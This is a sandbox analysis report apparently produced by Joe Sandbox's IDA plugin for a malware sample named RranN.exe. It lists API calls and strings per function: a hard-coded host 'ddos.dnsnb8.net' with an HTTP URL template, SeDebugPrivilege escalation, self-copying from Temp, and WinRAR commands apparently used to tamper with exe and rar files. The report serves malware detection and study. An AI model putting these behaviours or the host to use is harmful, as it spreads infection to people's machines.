FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B4224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B422C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B422CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B422DD
WriteFile.KERNEL32(000000FF,00B44008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B422F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B4230D
CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B42322
UnmapViewOfFile.KERNEL32(?,?,00B432B0,00000164,00B42986,?), ref: 00B42340
FindCloseChangeNotification.KERNEL32(?,?,00B432B0,00000164,00B42986,?), ref: 00B4234E
CloseHandle.KERNEL32(000000FF,?,00B432B0,00000164,00B42986,?), ref: 00B42359

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: File$CloseView$Pointer$ChangeCreateFindHandleNotificationUnmapWritememset$AttributesFlushMappingmemcpy
String ID:
API String ID: 3349749541-0
Opcode ID: f48bc5fb352a99cb3631d60e0b1ce68b7f93c5ee7c1810ecceffe1b3915aaaf2
Instruction ID: ffe70cf09c66890f405ea10c8fbd440994211acedcf4f6105c8ca8ff3dcf5a74
Opcode Fuzzy Hash: f48bc5fb352a99cb3631d60e0b1ce68b7f93c5ee7c1810ecceffe1b3915aaaf2
Instruction Fuzzy Hash: E7F13575900208AFCB20DFA8DC81AADBBF5FF08314F50456AE519A7661DB30AE91EF54

Function 00B41973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(00B44E5C,00000000,C:\Users\user\AppData\Local\Temp\RranN.exe), ref: 00B41992
CreateFileA.KERNEL32(00B44E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00B419BA
Sleep.KERNEL32(00000064), ref: 00B419C6
wsprintfA.USER32 ref: 00B419EC
CopyFileA.KERNEL32(00B44E5C,?,00000000), ref: 00B41A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B41A1E
GetFileSize.KERNEL32(00B44E5C,00000000), ref: 00B41A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00B41A46
ReadFile.KERNEL32(00B44E5C,00B44E60,00000000,?,00000000), ref: 00B41A65
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B41A90
DeleteFileA.KERNEL32(?), ref: 00B41AA7
VirtualFree.KERNEL32(00B44E60,00000000,00008000), ref: 00B41AC1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00B419DB
2, xrefs: 00B419CF
%s%.8X.data, xrefs: 00B419E6
C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B4197C

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$2$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\RranN.exe
API String ID: 2523042076-3461691342
Opcode ID: ee4a358c6f630167765a311e91b2c3a26833dfc8a7f50a881ac3a3e5bedd0059
Instruction ID: 80326f7ead9aa63c6fb414a3f2eb8890d88971bff13b20ba383a8c0d94924fa8
Opcode Fuzzy Hash: ee4a358c6f630167765a311e91b2c3a26833dfc8a7f50a881ac3a3e5bedd0059
Instruction Fuzzy Hash: F6513B71D01219AFCF209F98CC84AAEBBF9FB05754F144AA9F525E6290D7709F80DB60

Function 00B428B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B428D3
wsprintfA.USER32 ref: 00B428F7
memset.MSVCRT ref: 00B42925
wsprintfA.USER32 ref: 00B42940

Part of subcall function 00B429E2: memset.MSVCRT ref: 00B42A02
Part of subcall function 00B429E2: wsprintfA.USER32 ref: 00B42A1A
Part of subcall function 00B429E2: memset.MSVCRT ref: 00B42A44
Part of subcall function 00B429E2: lstrlen.KERNEL32(?), ref: 00B42A54
Part of subcall function 00B429E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00B42A6C
Part of subcall function 00B429E2: strrchr.MSVCRT ref: 00B42A7C
Part of subcall function 00B429E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00B42A9F
Part of subcall function 00B429E2: lstrlen.KERNEL32(Documents and Settings), ref: 00B42AAE
Part of subcall function 00B429E2: memset.MSVCRT ref: 00B42AC6
Part of subcall function 00B429E2: memset.MSVCRT ref: 00B42ADA
Part of subcall function 00B429E2: FindFirstFileA.KERNEL32(?,?), ref: 00B42AEF
Part of subcall function 00B429E2: memset.MSVCRT ref: 00B42B13

strrchr.MSVCRT ref: 00B42959
lstrcmpiA.KERNEL32(00000001,exe), ref: 00B42974

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00B429B3
%s%s, xrefs: 00B428F1
exe, xrefs: 00B4296D
rar, xrefs: 00B42988
%s\, xrefs: 00B4293A

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-3007274656
Opcode ID: d5a60c3313829e0b73fa5c1fbc333de4863e0a4e99191368856cf67f486bfeeb
Instruction ID: 5817275b18ce972c0ddd48c7684c05ed93fe302fdd5d214771d2bf17b2444408
Opcode Fuzzy Hash: d5a60c3313829e0b73fa5c1fbc333de4863e0a4e99191368856cf67f486bfeeb
Instruction Fuzzy Hash: 6C3195769403197BDB20A764DC85FDA77ECEB11710F4804E2F945A3181EAB49BC4BB60

Function 00B41638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 00B4164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 00B4165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\RranN.exe,00000104), ref: 00B4166E
CreateThread.KERNEL32(00000000,00000000,00B41099,00000000,00000000,00000000), ref: 00B416AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 00B416BD

Part of subcall function 00B4139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\RranN.exe), ref: 00B413BC
Part of subcall function 00B4139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00B413DA
Part of subcall function 00B4139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00B41448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\RranN.exe), ref: 00B416E5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00B41644
Documents and Settings, xrefs: 00B41696
C:\Windows\system32, xrefs: 00B41656
C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B41662, 00B41667, 00B416DD

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\RranN.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-44950278
Opcode ID: 1f879e633e954ff9e28985817d1313321bd847b743658c55b6503329a11e1525
Instruction ID: 68a39f3c68c3c311638b5f7683351fb275c5dfa1a5fdef476ab13e872206ea9b
Opcode Fuzzy Hash: 1f879e633e954ff9e28985817d1313321bd847b743658c55b6503329a11e1525
Instruction Fuzzy Hash: 4511D6759411147BCF206BA89D4AF9B3EEDFF13761F140590F20992160CB708B90E7A1

Function 00B41000 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,?,http://%s:%d/%s/%s,00B410E8,?), ref: 00B41018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75BF8400,?,http://%s:%d/%s/%s,00B410E8,?), ref: 00B41029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00B41038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,http://%s:%d/%s/%s,00B410E8,?), ref: 00B4104B
UnmapViewOfFile.KERNEL32(00000000,?,http://%s:%d/%s/%s,00B410E8,?), ref: 00B41075
CloseHandle.KERNEL32(?,?,http://%s:%d/%s/%s,00B410E8,?), ref: 00B4108B
CloseHandle.KERNEL32(00000000,?,http://%s:%d/%s/%s,00B410E8,?), ref: 00B4108E

Strings

ddos.dnsnb8.net, xrefs: 00B41026
http://%s:%d/%s/%s, xrefs: 00B41000

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-3273462101
Opcode ID: be440199b56758e73045f6e039f9ef5e90962714236d7138b6da8db8bf8fdd7e
Instruction ID: f9fe1b8d544d456642329693d03470dad9c9b81386e59e3bcbb26f5d18129d06
Opcode Fuzzy Hash: be440199b56758e73045f6e039f9ef5e90962714236d7138b6da8db8bf8fdd7e
Instruction Fuzzy Hash: 900184B550025CBFE7305F649C88F2BBBECEB45B99F044A29F245A3290DA705F849B70

Function 00B42C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B42C57

Part of subcall function 00B41973: PathFileExistsA.SHLWAPI(00B44E5C,00000000,C:\Users\user\AppData\Local\Temp\RranN.exe), ref: 00B41992
Part of subcall function 00B41973: CreateFileA.KERNEL32(00B44E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00B419BA
Part of subcall function 00B41973: Sleep.KERNEL32(00000064), ref: 00B419C6
Part of subcall function 00B41973: wsprintfA.USER32 ref: 00B419EC
Part of subcall function 00B41973: CopyFileA.KERNEL32(00B44E5C,?,00000000), ref: 00B41A00
Part of subcall function 00B41973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B41A1E
Part of subcall function 00B41973: GetFileSize.KERNEL32(00B44E5C,00000000), ref: 00B41A2C
Part of subcall function 00B41973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00B41A46
Part of subcall function 00B41973: ReadFile.KERNEL32(00B44E5C,00B44E60,00000000,?,00000000), ref: 00B41A65

CreateThread.KERNEL32(00000000,00000000,Function_00002B8C,00000000,00000000,00000000), ref: 00B42C99
WaitForMultipleObjects.KERNEL32(00000001,00B416BA,00000001,000000FF,?,00B416BA,00000000), ref: 00B42CAC
VirtualFree.KERNEL32(01350000,00000000,00008000,C:\Users\user\AppData\Local\Temp\RranN.exe,00B44E5C,00B44E60,?,00B416BA,00000000), ref: 00B42CC2

Strings

C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B42C69

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\RranN.exe
API String ID: 2042498389-2223506184
Opcode ID: f202d936122e080e62e1f24279f9416b0d34737a0b6d86d3fb7f1ca87234b687
Instruction ID: 3f8364aedd5f366360ab8470751387d353310b0d8fe369da9a01c737bea09dba
Opcode Fuzzy Hash: f202d936122e080e62e1f24279f9416b0d34737a0b6d86d3fb7f1ca87234b687
Instruction Fuzzy Hash: 0D01D4756412207AD714A795EC4AF9F7FDCFF02B10F504150F504D62D1DAA09B40E3B0

Function 00B414E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00B41504
VirtualQuery.KERNEL32(00B414E1,?,0000001C), ref: 00B41525
ExitProcess.KERNEL32 ref: 00B4157A

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: 71d42b458c975a7b89a9ab76a64a1fb6e9a8d159fe72f3d23c7b1eebb247c0c6
Instruction ID: 4099abe1591dd1f7f8955bcbd9f0ae7394de54d71d1f1dabb29659d2430fc6cf
Opcode Fuzzy Hash: 71d42b458c975a7b89a9ab76a64a1fb6e9a8d159fe72f3d23c7b1eebb247c0c6
Instruction Fuzzy Hash: 88114879D00214EFCB20EFADA885BB977E8FB95750B10457AE422E3250DB308F81AB50

Function 00B41915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B41933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 00B41947

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: 368065491f47cb663af2082df131798547aae19bf47f857e012c1ec9919d4ef4
Instruction ID: fb0ba7e85edcaa000f3ae05a3e630f6aedc3f96993d9103245690845d666f5fc
Opcode Fuzzy Hash: 368065491f47cb663af2082df131798547aae19bf47f857e012c1ec9919d4ef4
Instruction Fuzzy Hash: 5BF06836600209ABD720DE2ADC44BAB77ECEB51761F148976F516D1150E730E786EBB0

Function 00B46159 Relevance: 2.6, APIs: 2, Instructions: 57
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00B460DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00B46189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00B461A5

Memory Dump Source

Source File: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: 033966915fe249dc4d62a0a15ef93927b08277fbd3af90045748cd2f70d064c7
Instruction ID: abaf478e686ae75022b133db03e1f3352e4cb908d08024edae98ac86ad2475a0
Opcode Fuzzy Hash: 033966915fe249dc4d62a0a15ef93927b08277fbd3af90045748cd2f70d064c7
Instruction Fuzzy Hash: 2611BF31A00658DFCF358F58CC817DE37E1FF06300F690459DE89AB291DAB16A40DB89

Non-executed Functions

Function 00B4119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\RranN.exe,?,?,?,?,?,?,00B413EF), ref: 00B411AB
OpenProcessToken.ADVAPI32(00000000,00000028,00B413EF,?,?,?,?,?,?,00B413EF), ref: 00B411BB
AdjustTokenPrivileges.ADVAPI32(00B413EF,00000000,?,00000010,00000000,00000000), ref: 00B411EB
CloseHandle.KERNEL32(00B413EF), ref: 00B411FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00B413EF), ref: 00B41203

Strings

C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B411A5

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\RranN.exe
API String ID: 75692138-2223506184
Opcode ID: bbaa169c7c4a33ca9007f53c1690c6c88010dd68c2bc24b1ce099dc1e193641e
Instruction ID: 0b71d43f3781f06fc4bd4fc8dfdb798801fe5a21c884143ae3314866a77886ea
Opcode Fuzzy Hash: bbaa169c7c4a33ca9007f53c1690c6c88010dd68c2bc24b1ce099dc1e193641e
Instruction Fuzzy Hash: 1401E875900209EFDB10DFD4DD89AAEBBF8FB04705F104569E605A2251DB715F449B50

Function 00B4139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\RranN.exe), ref: 00B413BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00B413DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00B41448

Part of subcall function 00B4119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\RranN.exe,?,?,?,?,?,?,00B413EF), ref: 00B411AB
Part of subcall function 00B4119F: OpenProcessToken.ADVAPI32(00000000,00000028,00B413EF,?,?,?,?,?,?,00B413EF), ref: 00B411BB
Part of subcall function 00B4119F: AdjustTokenPrivileges.ADVAPI32(00B413EF,00000000,?,00000010,00000000,00000000), ref: 00B411EB
Part of subcall function 00B4119F: CloseHandle.KERNEL32(00B413EF), ref: 00B411FA
Part of subcall function 00B4119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,00B413EF), ref: 00B41203

Strings

SeDebugPrivilege, xrefs: 00B413D3
C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B413A8

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\RranN.exe$SeDebugPrivilege
API String ID: 4123949106-5491421
Opcode ID: 0eb74df541f8fa31a82069512fb0289f24e06048f7faadce4aa0c519333a52f6
Instruction ID: bc8d12eb69199ca0c9c6c1d4ac6a452e681d4b0d763e69ed6e37ef76253393b4
Opcode Fuzzy Hash: 0eb74df541f8fa31a82069512fb0289f24e06048f7faadce4aa0c519333a52f6
Instruction Fuzzy Hash: B031FF71D40209AAEF209FA98C45FEEBBF8EB85705F2045A9E505B2281D7709F85DF60

Function 00B4239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00B423CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00B42464
GetFileSize.KERNEL32(00000000,00000000), ref: 00B42472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 00B424A8
memset.MSVCRT ref: 00B424B9
strrchr.MSVCRT ref: 00B424C9
wsprintfA.USER32 ref: 00B424DE
strrchr.MSVCRT ref: 00B424ED
memset.MSVCRT ref: 00B424F2
memset.MSVCRT ref: 00B42505
wsprintfA.USER32 ref: 00B42524
Sleep.KERNEL32(000007D0), ref: 00B42535
Sleep.KERNEL32(000007D0), ref: 00B4255D
memset.MSVCRT ref: 00B4256E
wsprintfA.USER32 ref: 00B42585
memset.MSVCRT ref: 00B425A6
wsprintfA.USER32 ref: 00B425CA
Sleep.KERNEL32(000007D0), ref: 00B425D0
Sleep.KERNEL32(000007D0,?,?), ref: 00B425E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00B425FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00B42611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00B42642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 00B4265B
SetEndOfFile.KERNEL32 ref: 00B4266D
CloseHandle.KERNEL32(00000000), ref: 00B42676
RemoveDirectoryA.KERNEL32(?), ref: 00B42681

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00B423B1, 00B423B6, 00B424CD
%s%s, xrefs: 00B424D8
%s X -ibck "%s" "%s\", xrefs: 00B4251E
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 00B425C4
-ibck, xrefs: 00B425BA
%s\, xrefs: 00B4257F

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-2169341206
Opcode ID: 1defd2d15576abeed1e94f15a31af02343a6d4bd1921f06cc0a37a84241ae50e
Instruction ID: f0ce4c23682db8b9dad1af86b579bc513c46269402b7686abf6175661a9e4d62
Opcode Fuzzy Hash: 1defd2d15576abeed1e94f15a31af02343a6d4bd1921f06cc0a37a84241ae50e
Instruction Fuzzy Hash: F8819FB1504304BBD7109F60DC89FAB77ECFB85B04F44095AFA84931A0DB709B49AB66

Function 00B4274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B42766
memset.MSVCRT ref: 00B42774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00B42787
wsprintfA.USER32 ref: 00B427AB

Part of subcall function 00B4185B: GetSystemTimeAsFileTime.KERNEL32(00B41F92,00000000,?,00000000,?,?,?,00B41F92,?,00000000,00000002), ref: 00B41867
Part of subcall function 00B4185B: srand.MSVCRT ref: 00B41878
Part of subcall function 00B4185B: rand.MSVCRT ref: 00B41880
Part of subcall function 00B4185B: srand.MSVCRT ref: 00B41890
Part of subcall function 00B4185B: rand.MSVCRT ref: 00B41894

wsprintfA.USER32 ref: 00B427C6
CopyFileA.KERNEL32(?,00B44C80,00000000), ref: 00B427D4
wsprintfA.USER32 ref: 00B427F4

Part of subcall function 00B41973: PathFileExistsA.SHLWAPI(00B44E5C,00000000,C:\Users\user\AppData\Local\Temp\RranN.exe), ref: 00B41992
Part of subcall function 00B41973: CreateFileA.KERNEL32(00B44E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00B419BA
Part of subcall function 00B41973: Sleep.KERNEL32(00000064), ref: 00B419C6
Part of subcall function 00B41973: wsprintfA.USER32 ref: 00B419EC
Part of subcall function 00B41973: CopyFileA.KERNEL32(00B44E5C,?,00000000), ref: 00B41A00
Part of subcall function 00B41973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B41A1E
